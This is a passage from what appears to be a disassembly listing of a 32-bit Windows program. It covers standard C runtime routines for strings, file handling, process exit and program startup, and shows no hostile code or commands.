edi test ecx, 3 jnz short loc_40E43D jmp short loc_40E456 ; --------------------------------------------------------------------------- loc_40E451: ; CODE XREF: sub_40E3D0+9Ej ; sub_40E3D0+B8j mov [edi], edx add edi, 4 loc_40E456: ; CODE XREF: sub_40E3D0+6Bj ; sub_40E3D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_40E451 test dl, dl jz short loc_40E4A8 test dh, dh jz short loc_40E49F test edx, 0FF0000h jz short loc_40E492 test edx, 0FF000000h jz short loc_40E48A jmp short loc_40E451 ; --------------------------------------------------------------------------- loc_40E48A: ; CODE XREF: sub_40E3D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40E492: ; CODE XREF: sub_40E3D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_40E49F: ; CODE XREF: sub_40E3D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40E4A8: ; CODE XREF: sub_40E3D0+72j ; sub_40E3D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_40E3D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B0 proc near ; CODE XREF: sub_4051D9+31p ; sub_407041+132p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_40E52A mov dh, [ecx+1] test dh, dh jz short loc_40E517 loc_40E4C8: ; CODE XREF: sub_40E4B0+52j ; sub_40E4B0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_40E4EA test al, al jz short loc_40E4E4 loc_40E4D9: ; CODE XREF: sub_40E4B0+32j mov al, [esi] inc esi loc_40E4DC: ; CODE XREF: sub_40E4B0+3Fj cmp al, dl jz short loc_40E4EA test al, al jnz short loc_40E4D9 loc_40E4E4: ; CODE XREF: sub_40E4B0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_40E4EA: ; CODE XREF: sub_40E4B0+23j ; sub_40E4B0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_40E4DC lea edi, [esi-1] loc_40E4F4: ; CODE XREF: sub_40E4B0+63j mov ah, [ecx+2] test ah, ah jz short loc_40E523 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_40E4C8 mov al, [ecx+3] test al, al jz short loc_40E523 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_40E4F4 jmp short loc_40E4C8 ; --------------------------------------------------------------------------- loc_40E517: ; CODE XREF: sub_40E4B0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_40E616 ; --------------------------------------------------------------------------- loc_40E523: ; CODE XREF: sub_40E4B0+49j ; sub_40E4B0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_40E52A: ; CODE XREF: sub_40E4B0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_40E4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E530 proc near ; CODE XREF: sub_411DAE+9p var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_481E4C, 0 push ebx push esi push edi jnz short loc_40E55D mov eax, [ebp+arg_0] cmp eax, 41h jl loc_40E5F6 cmp eax, 5Ah jg loc_40E5F6 add eax, 20h jmp loc_40E5F6 ; --------------------------------------------------------------------------- loc_40E55D: ; CODE XREF: sub_40E530+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_40E591 cmp dword_422004, esi jle short loc_40E57F push esi push ebx call sub_412B49 pop ecx pop ecx jmp short loc_40E589 ; --------------------------------------------------------------------------- loc_40E57F: ; CODE XREF: sub_40E530+42j mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, esi loc_40E589: ; CODE XREF: sub_40E530+4Dj test eax, eax jnz short loc_40E591 loc_40E58D: ; CODE XREF: sub_40E530+ADj mov eax, ebx jmp short loc_40E5F6 ; --------------------------------------------------------------------------- loc_40E591: ; CODE XREF: sub_40E530+3Aj ; sub_40E530+5Bj mov edx, off_421DF8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_40E5B5 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_40E5BE ; --------------------------------------------------------------------------- loc_40E5B5: ; CODE XREF: sub_40E530+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_40E5BE: ; CODE XREF: sub_40E530+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_481E4C call sub_413455 add esp, 20h test eax, eax jz short loc_40E58D cmp eax, esi jnz short loc_40E5E9 movzx eax, [ebp+var_4] jmp short loc_40E5F6 ; --------------------------------------------------------------------------- loc_40E5E9: ; CODE XREF: sub_40E530+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_40E5F6: ; CODE XREF: sub_40E530+16j ; sub_40E530+1Fj ... pop edi pop esi pop ebx leave retn sub_40E530 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_40E610 loc_40E600: ; CODE XREF: sub_40E610+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_40E610 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40E610 proc near ; CODE XREF: sub_40570A+21p ; sub_4077FD+3F1p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0040E600 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_40E616: ; CODE XREF: sub_40E4B0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_40E63B loc_40E628: ; CODE XREF: sub_40E610+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_40E600 test cl, cl jz short loc_40E684 test edx, 3 jnz short loc_40E628 loc_40E63B: ; CODE XREF: sub_40E610+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_40E646: ; CODE XREF: sub_40E610+61j ; sub_40E610+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_40E688 and eax, 81010100h jz short loc_40E646 and eax, 1010100h jnz short loc_40E682 and esi, 80000000h jnz short loc_40E646 loc_40E682: ; CODE XREF: sub_40E610+68j ; sub_40E610+81j ... pop esi pop edi loc_40E684: ; CODE XREF: sub_40E610+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_40E688: ; CODE XREF: sub_40E610+5Aj mov eax, [edx-4] cmp al, bl jz short loc_40E6C5 test al, al jz short loc_40E682 cmp ah, bl jz short loc_40E6BE test ah, ah jz short loc_40E682 shr eax, 10h cmp al, bl jz short loc_40E6B7 test al, al jz short loc_40E682 cmp ah, bl jz short loc_40E6B0 test ah, ah jz short loc_40E682 jmp short loc_40E646 ; --------------------------------------------------------------------------- loc_40E6B0: ; CODE XREF: sub_40E610+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_40E6B7: ; CODE XREF: sub_40E610+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40E6BE: ; CODE XREF: sub_40E610+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40E6C5: ; CODE XREF: sub_40E610+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_40E610 endp ; =============== S U B R O U T I N E ======================================= sub_40E6CC proc near ; CODE XREF: sub_4069FF+238p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_40E6E3 loc_40E6D9: ; CODE XREF: sub_40E6CC+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_40E6D9 loc_40E6E3: ; CODE XREF: sub_40E6CC+Bj sub eax, ecx sar eax, 1 dec eax retn sub_40E6CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6E9 proc near ; CODE XREF: sub_4077FD+AEp ; sub_4077FD+C1p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_40E702: ; CODE XREF: sub_40E6E9+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_40E702 mov edx, [ebp+arg_0] test edx, edx jnz short loc_40E72A mov edx, dword_481DB8 loc_40E72A: ; CODE XREF: sub_40E6E9+39j ; sub_40E6E9+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_40E74A test al, al jz short loc_40E74A inc edx jmp short loc_40E72A ; --------------------------------------------------------------------------- loc_40E74A: ; CODE XREF: sub_40E6E9+58j ; sub_40E6E9+5Cj mov ebx, edx loc_40E74C: ; CODE XREF: sub_40E6E9+81j mov al, [edx] test al, al jz short loc_40E770 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_40E76C inc edx jmp short loc_40E74C ; --------------------------------------------------------------------------- loc_40E76C: ; CODE XREF: sub_40E6E9+7Ej and byte ptr [edx], 0 inc edx loc_40E770: ; CODE XREF: sub_40E6E9+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_481DB8, edx and eax, ebx pop ebx leave retn sub_40E6E9 endp ; =============== S U B R O U T I N E ======================================= sub_40E785 proc near ; CODE XREF: sub_40EB84+93p mov eax, off_41FC4C test eax, eax jz short loc_40E790 call eax ; sub_40CEB9 loc_40E790: ; CODE XREF: sub_40E785+7j push offset dword_41A024 push offset dword_41A010 call sub_40E86D push offset dword_41A00C push offset dword_41A000 call sub_40E86D add esp, 10h retn sub_40E785 endp ; =============== S U B R O U T I N E ======================================= sub_40E7B2 proc near ; CODE XREF: sub_40EB84+D2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_40E7D4 add esp, 0Ch retn sub_40E7B2 endp ; =============== S U B R O U T I N E ======================================= sub_40E7C3 proc near ; CODE XREF: .nsp0:0040EC75p ; sub_40EC7A+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_40E7D4 add esp, 0Ch retn sub_40E7C3 endp ; =============== S U B R O U T I N E ======================================= sub_40E7D4 proc near ; CODE XREF: sub_40E7B2+8p ; sub_40E7C3+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_481E04, edi jnz short loc_40E7F1 push [esp+4+arg_0] call dword_4180D4 ; GetCurrentProcess push eax call dword_4180D8 ; TerminateProcess loc_40E7F1: ; CODE XREF: sub_40E7D4+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_481E00, edi mov byte_481DFC, bl jnz short loc_40E845 mov eax, dword_48343C test eax, eax jz short loc_40E834 mov ecx, dword_483438 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_40E833 loc_40E820: ; CODE XREF: sub_40E7D4+5Dj mov eax, [esi] test eax, eax jz short loc_40E828 call eax loc_40E828: ; CODE XREF: sub_40E7D4+50j sub esi, 4 cmp esi, dword_48343C jnb short loc_40E820 loc_40E833: ; CODE XREF: sub_40E7D4+4Aj pop esi loc_40E834: ; CODE XREF: sub_40E7D4+3Cj push offset dword_41A030 push offset dword_41A028 call sub_40E86D pop ecx pop ecx loc_40E845: ; CODE XREF: sub_40E7D4+33j push offset dword_41A03C push offset dword_41A034 call sub_40E86D pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_40E86B push [esp+4+arg_0] mov dword_481E04, edi call dword_418074 ; ExitProcess loc_40E86B: ; CODE XREF: sub_40E7D4+85j pop edi retn sub_40E7D4 endp ; =============== S U B R O U T I N E ======================================= sub_40E86D proc near ; CODE XREF: sub_40E785+15p ; sub_40E785+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_40E872: ; CODE XREF: sub_40E86D+16j cmp esi, [esp+4+arg_4] jnb short loc_40E885 mov eax, [esi] test eax, eax jz short loc_40E880 call eax loc_40E880: ; CODE XREF: sub_40E86D+Fj add esi, 4 jmp short loc_40E872 ; --------------------------------------------------------------------------- loc_40E885: ; CODE XREF: sub_40E86D+9j pop esi retn sub_40E86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E887 proc near ; CODE XREF: sub_407041+FFp ; sub_40B807+1E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_40CBC0 cmp eax, 1 pop ecx jb short loc_40E8C2 cmp byte ptr [ebx+1], 3Ah jnz short loc_40E8C2 mov esi, [ebp+arg_4] test esi, esi jz short loc_40E8BE push 2 push ebx push esi call sub_413A59 add esp, 0Ch and byte ptr [esi+2], 0 loc_40E8BE: ; CODE XREF: sub_40E887+25j inc ebx inc ebx jmp short loc_40E8CC ; --------------------------------------------------------------------------- loc_40E8C2: ; CODE XREF: sub_40E887+18j ; sub_40E887+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_40E8CC and byte ptr [eax], 0 loc_40E8CC: ; CODE XREF: sub_40E887+39j ; sub_40E887+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_40E944 loc_40E8DF: ; CODE XREF: sub_40E887+87j mov cl, [eax] movzx edx, cl test byte_483301[edx], 4 jz short loc_40E8F0 inc eax jmp short loc_40E90A ; --------------------------------------------------------------------------- loc_40E8F0: ; CODE XREF: sub_40E887+64j cmp cl, 2Fh jz short loc_40E904 cmp cl, 5Ch jz short loc_40E904 cmp cl, 2Eh jnz short loc_40E90A mov [ebp+var_4], eax jmp short loc_40E90A ; --------------------------------------------------------------------------- loc_40E904: ; CODE XREF: sub_40E887+6Cj ; sub_40E887+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_40E90A: ; CODE XREF: sub_40E887+67j ; sub_40E887+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_40E8DF mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_40E944 cmp [ebp+arg_8], 0 jz short loc_40E93F sub edi, ebx cmp edi, esi jb short loc_40E928 mov edi, esi loc_40E928: ; CODE XREF: sub_40E887+9Dj push edi push ebx push [ebp+arg_8] call sub_413A59 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_40E93F: ; CODE XREF: sub_40E887+97j mov ebx, [ebp+arg_4] jmp short loc_40E94E ; --------------------------------------------------------------------------- loc_40E944: ; CODE XREF: sub_40E887+56j ; sub_40E887+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_40E94E and byte ptr [ecx], 0 loc_40E94E: ; CODE XREF: sub_40E887+BBj ; sub_40E887+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_40E9A1 cmp edi, ebx jb short loc_40E9A1 cmp [ebp+arg_C], 0 jz short loc_40E97E sub edi, ebx cmp edi, esi jb short loc_40E967 mov edi, esi loc_40E967: ; CODE XREF: sub_40E887+DCj push edi push ebx push [ebp+arg_C] call sub_413A59 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_40E97E: ; CODE XREF: sub_40E887+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_40E9C9 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_40E98E mov esi, eax loc_40E98E: ; CODE XREF: sub_40E887+103j push esi push [ebp+var_4] push edi call sub_413A59 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_40E9C9 ; --------------------------------------------------------------------------- loc_40E9A1: ; CODE XREF: sub_40E887+CCj ; sub_40E887+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_40E9BF sub eax, ebx cmp eax, esi jnb short loc_40E9B0 mov esi, eax loc_40E9B0: ; CODE XREF: sub_40E887+125j push esi push ebx push edi call sub_413A59 add esp, 0Ch and byte ptr [esi+edi], 0 loc_40E9BF: ; CODE XREF: sub_40E887+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_40E9C9 and byte ptr [eax], 0 loc_40E9C9: ; CODE XREF: sub_40E887+FCj ; sub_40E887+118j ... pop edi pop esi pop ebx leave retn sub_40E887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9CE proc near ; CODE XREF: sub_4077FD+2A29p ; sub_4077FD+2A56p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_40E9E2 xor eax, eax jmp short loc_40EA18 ; --------------------------------------------------------------------------- loc_40E9E2: ; CODE XREF: sub_40E9CE+Ej dec [ebp+arg_4] push esi jz short loc_40EA12 mov esi, [ebp+arg_8] loc_40E9EB: ; CODE XREF: sub_40E9CE+42j dec dword ptr [esi+4] js short loc_40E9FA mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_40EA01 ; --------------------------------------------------------------------------- loc_40E9FA: ; CODE XREF: sub_40E9CE+20j push esi call sub_412DA9 pop ecx loc_40EA01: ; CODE XREF: sub_40E9CE+2Aj cmp eax, 0FFFFFFFFh jz short loc_40EA1C mov [edi], al inc edi cmp al, 0Ah jz short loc_40EA12 dec [ebp+arg_4] jnz short loc_40E9EB loc_40EA12: ; CODE XREF: sub_40E9CE+18j ; sub_40E9CE+3Dj ... and byte ptr [edi], 0 loc_40EA15: ; CODE XREF: sub_40E9CE+55j mov eax, ebx pop esi loc_40EA18: ; CODE XREF: sub_40E9CE+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_40EA1C: ; CODE XREF: sub_40E9CE+36j cmp edi, [ebp+arg_0] jnz short loc_40EA12 xor ebx, ebx jmp short loc_40EA15 sub_40E9CE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA30 proc near ; CODE XREF: sub_4077FD+1DBBp ; sub_4077FD+1DD9p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_40EA51 xor eax, eax jmp short loc_40EA53 ; --------------------------------------------------------------------------- loc_40EA51: ; CODE XREF: sub_40EA30+1Bj mov eax, edi loc_40EA53: ; CODE XREF: sub_40EA30+1Fj cld pop edi leave retn sub_40EA30 endp ; =============== S U B R O U T I N E ======================================= sub_40EA57 proc near ; CODE XREF: sub_4077FD+1936p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4180E8 ; DeleteFileA test eax, eax jnz short loc_40EA6D call dword_418044 ; RtlGetLastWin32Error jmp short loc_40EA6F ; --------------------------------------------------------------------------- loc_40EA6D: ; CODE XREF: sub_40EA57+Cj xor eax, eax loc_40EA6F: ; CODE XREF: sub_40EA57+14j test eax, eax jz short loc_40EA7E push eax call sub_413260 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40EA7E: ; CODE XREF: sub_40EA57+1Aj xor eax, eax retn sub_40EA57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA81 proc near ; CODE XREF: sub_4077FD+18A4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_413AE3 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40EDD8 push [ebp+arg_0] mov edi, eax push esi call sub_413B70 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_40EA81 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAC0 proc near ; CODE XREF: sub_4077FD+7A9p ; sub_40BB81+2ACp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_40EAF1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_40EAEF jz short loc_40EAF1 dec ecx dec ecx loc_40EAEF: ; CODE XREF: sub_40EAC0+29j not ecx loc_40EAF1: ; CODE XREF: sub_40EAC0+9j ; sub_40EAC0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_40EAC0 endp ; =============== S U B R O U T I N E ======================================= sub_40EAF8 proc near ; CODE XREF: sub_40BB81+2E2p ; sub_40BB81+42Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_40EB74 mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EB17 cmp edi, 1 jz short loc_40EB17 cmp edi, 2 jnz short loc_40EB74 loc_40EB17: ; CODE XREF: sub_40EAF8+13j ; sub_40EAF8+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_40EB2E push esi call sub_413C47 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_40EB2E: ; CODE XREF: sub_40EAF8+27j push esi call sub_412CD7 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_40EB43 and al, 0FCh mov [esi+0Ch], eax jmp short loc_40EB57 ; --------------------------------------------------------------------------- loc_40EB43: ; CODE XREF: sub_40EAF8+42j test al, 1 jz short loc_40EB57 test al, 8 jz short loc_40EB57 test ah, 4 jnz short loc_40EB57 mov dword ptr [esi+18h], 200h loc_40EB57: ; CODE XREF: sub_40EAF8+49j ; sub_40EAF8+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_413BAD add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_40EB81 ; --------------------------------------------------------------------------- loc_40EB74: ; CODE XREF: sub_40EAF8+Bj ; sub_40EAF8+1Dj mov dword_481DBC, 16h or eax, 0FFFFFFFFh loc_40EB81: ; CODE XREF: sub_40EAF8+7Aj pop edi pop esi retn sub_40EAF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB84 proc near ; CODE XREF: start+272j var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418640 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call dword_418130 ; GetVersion xor edx, edx mov dl, ah mov dword_481DD4, edx mov ecx, eax and ecx, 0FFh mov dword_481DD0, ecx shl ecx, 8 add ecx, edx mov dword_481DCC, ecx shr eax, 10h mov dword_481DC8, eax xor esi, esi push esi call sub_410223 pop ecx test eax, eax jnz short loc_40EBF0 push 1Ch call sub_40EC9F pop ecx loc_40EBF0: ; CODE XREF: sub_40EB84+62j mov [ebp+var_4], esi call sub_4143B3 call dword_41812C ; GetCommandLineA mov dword_48342C, eax call sub_414281 mov dword_481E08, eax call sub_414034 call sub_413F7B call sub_40E785 mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call dword_418128 ; GetStartupInfoA call sub_413F23 mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_40EC3D movzx eax, [ebp+var_2C] jmp short loc_40EC40 ; --------------------------------------------------------------------------- loc_40EC3D: ; CODE XREF: sub_40EB84+B1j push 0Ah pop eax loc_40EC40: ; CODE XREF: sub_40EB84+B7j push eax push [ebp+var_64] push esi push esi call dword_418094 ; GetModuleHandleA push eax call sub_407041 mov [ebp+var_60], eax push eax call sub_40E7B2 mov eax, [ebp+var_14] mov ecx, [eax] mov ecx, [ecx] mov [ebp+var_68], ecx push eax push ecx call sub_413D9F pop ecx pop ecx retn sub_40EB84 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_40E7C3 ; =============== S U B R O U T I N E ======================================= sub_40EC7A proc near ; CODE XREF: sub_40D822+16p ; sub_413F7B+4Ep ... arg_0 = dword ptr 4 cmp dword_481E10, 1 jnz short loc_40EC88 call sub_414640 loc_40EC88: ; CODE XREF: sub_40EC7A+7j push [esp+arg_0] call sub_414679 push 0FFh call off_41FC70 pop ecx pop ecx retn sub_40EC7A endp ; =============== S U B R O U T I N E ======================================= sub_40EC9F proc near ; CODE XREF: sub_40EB84+66p arg_0 = dword ptr 4 cmp dword_481E10, 1 jnz short loc_40ECAD call sub_414640 loc_40ECAD: ; CODE XREF: sub_40EC9F+7j push [esp+arg_0] call sub_414679 pop ecx push 0FFh call dword_418074 ; ExitProcess retn sub_40EC9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECC3 proc near ; CODE XREF: sub_40C6C3+46p ; sub_40D3F7+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_40EDCC test al, 40h jnz loc_40EDCC test al, 1 jz short loc_40ECFB and dword ptr [esi+4], 0 test al, 10h jz loc_40EDCC mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_40ECFB: ; CODE XREF: sub_40ECC3+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_40ED35 cmp esi, offset dword_4223B0 jz short loc_40ED23 cmp esi, offset dword_4223D0 jnz short loc_40ED2E loc_40ED23: ; CODE XREF: sub_40ECC3+56j push ebx call sub_4149BD test eax, eax pop ecx jnz short loc_40ED35 loc_40ED2E: ; CODE XREF: sub_40ECC3+5Ej push esi call sub_414979 pop ecx loc_40ED35: ; CODE XREF: sub_40ECC3+4Ej ; sub_40ECC3+69j test word ptr [esi+0Ch], 108h push edi jz short loc_40EDA2 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_40ED65 push edi push eax push ebx call sub_4147CC add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_40ED98 ; --------------------------------------------------------------------------- loc_40ED65: ; CODE XREF: sub_40ECC3+90j cmp ebx, 0FFFFFFFFh jz short loc_40ED80 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4830E0[eax*4] lea eax, [eax+ecx*8] jmp short loc_40ED85 ; --------------------------------------------------------------------------- loc_40ED80: ; CODE XREF: sub_40ECC3+A5j mov eax, offset dword_4222F8 loc_40ED85: ; CODE XREF: sub_40ECC3+BBj test byte ptr [eax+4], 20h jz short loc_40ED98 push 2 push 0 push ebx call sub_413BAD add esp, 0Ch loc_40ED98: ; CODE XREF: sub_40ECC3+A0j ; sub_40ECC3+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_40EDB6 ; --------------------------------------------------------------------------- loc_40EDA2: ; CODE XREF: sub_40ECC3+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4147CC add esp, 0Ch mov [ebp+arg_4], eax loc_40EDB6: ; CODE XREF: sub_40ECC3+DDj cmp [ebp+arg_4], edi pop edi jz short loc_40EDC2 or dword ptr [esi+0Ch], 20h jmp short loc_40EDD1 ; --------------------------------------------------------------------------- loc_40EDC2: ; CODE XREF: sub_40ECC3+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_40EDD4 ; --------------------------------------------------------------------------- loc_40EDCC: ; CODE XREF: sub_40ECC3+10j ; sub_40ECC3+18j ... or al, 20h mov 